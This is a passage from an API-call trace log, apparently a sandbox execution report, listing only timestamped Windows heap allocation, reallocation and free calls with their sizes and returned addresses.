dwFlags=0x0, lpMem=0x2d35620 | out: hHeap=0x2a0000) returned 1 [0119.524] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36068 | out: hHeap=0x2a0000) returned 1 [0119.524] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d360a8 | out: hHeap=0x2a0000) returned 1 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360a8 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36068 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35620 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35368 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2d48b80 [0119.524] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35620, Size=0x20) returned 0x2d4a600 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35de8 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35620 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e88 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35b00 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35590 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d352c0 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36168 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac58 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aab8 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fe8 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d356e0 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34df8 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35140 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362a8 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab98 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361a8 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fd8 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35218 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35548 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36348 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aba8 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35188 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ff0 [0119.524] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35620, Size=0x20) returned 0x2d4a790 [0119.524] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35620 [0119.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0119.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36108 [0119.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4abb8 [0119.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d35d68 [0119.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fa8 [0119.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354a0 [0119.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0119.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35668 [0119.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361c8 [0119.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac68 [0119.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35e68 [0119.525] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6f) returned 0x2d28e10 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aab8 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d352c0 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac58 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36168 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35590 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b00 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e88 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab98 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35140 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab48 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362a8 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34df8 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d356e0 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fe8 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35188 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35548 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aba8 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36348 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35218 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34fd8 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361a8 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35d68 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35248 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4abb8 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35620 | out: hHeap=0x2a0000) returned 1 [0119.525] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34ff0 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e68 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35668 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac68 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361c8 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35230 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354a0 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fa8 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a790 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35de8 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35008 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36088 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34d08 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36268 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35050 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36368 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f90 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36328 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d357a0 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ee8 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a498 | out: hHeap=0x2a0000) returned 1 [0119.526] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363e8 | out: hHeap=0x2a0000) returned 1 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d357a0 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d34f90 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363e8 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35050 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ee8 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34d08 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35008 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354a0 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36328 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac68 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4abb8 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36368 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35230 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35668 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ff0 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36268 [0119.526] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aba8 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab48 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36088 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35620 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35248 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34fd8 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35de8 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab98 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35218 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fa8 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35548 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35188 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d356e0 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d361c8 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac58 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d35e68 [0119.527] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35050, Size=0x20) returned 0x2d4a498 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36008 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35050 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34df8 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35140 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36108 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aab8 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d35d68 [0119.527] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35578 | out: hHeap=0x2a0000) returned 1 [0119.527] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ab8 | out: hHeap=0x2a0000) returned 1 [0119.527] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fc8 | out: hHeap=0x2a0000) returned 1 [0119.527] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36428 | out: hHeap=0x2a0000) returned 1 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36428 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35fc8 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35ab8 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35578 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2d4a0a0 [0119.527] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35ab8, Size=0x20) returned 0x2d4a790 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361a8 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35ab8 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36348 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35b00 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35590 [0119.527] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d352c0 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35fe8 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aaf8 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ad58 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d362a8 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359c8 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35788 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35608 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35e88 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac28 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab28 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36168 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35488 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a40 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35650 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36248 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab58 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xe) returned 0x2d35a70 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36308 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35758 [0119.528] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35ab8, Size=0x20) returned 0x2d4a1f0 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35ab8 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354e8 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36188 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac38 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d36408 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35cc8 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35b90 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34e58 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35bf0 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36448 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac08 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d363a8 [0119.528] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6d) returned 0x2d28e88 [0119.528] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ad58 | out: hHeap=0x2a0000) returned 1 [0119.528] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d352c0 | out: hHeap=0x2a0000) returned 1 [0119.528] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aaf8 | out: hHeap=0x2a0000) returned 1 [0119.528] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fe8 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35590 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b00 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36348 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab28 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35608 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac28 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e88 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35788 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d359c8 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362a8 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35a70 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35650 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab58 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36248 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35a40 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35488 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36168 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36408 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354e8 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac38 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36188 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ab8 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35758 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36308 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363a8 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35bf0 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac08 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34e58 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b90 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35cc8 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a1f0 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361a8 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34d08 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ee8 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35230 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36368 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35620 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36088 | out: hHeap=0x2a0000) returned 1 [0119.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35548 | out: hHeap=0x2a0000) returned 1 [0119.530] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fa8 | out: hHeap=0x2a0000) returned 1 [0119.530] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35050 | out: hHeap=0x2a0000) returned 1 [0119.530] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36008 | out: hHeap=0x2a0000) returned 1 [0119.530] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a498 | out: hHeap=0x2a0000) returned 1 [0119.530] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d363e8 | out: hHeap=0x2a0000) returned 1 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d363e8 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7) returned 0x2d4ac08 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ac38 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36008 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab58 [0119.530] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x41) returned 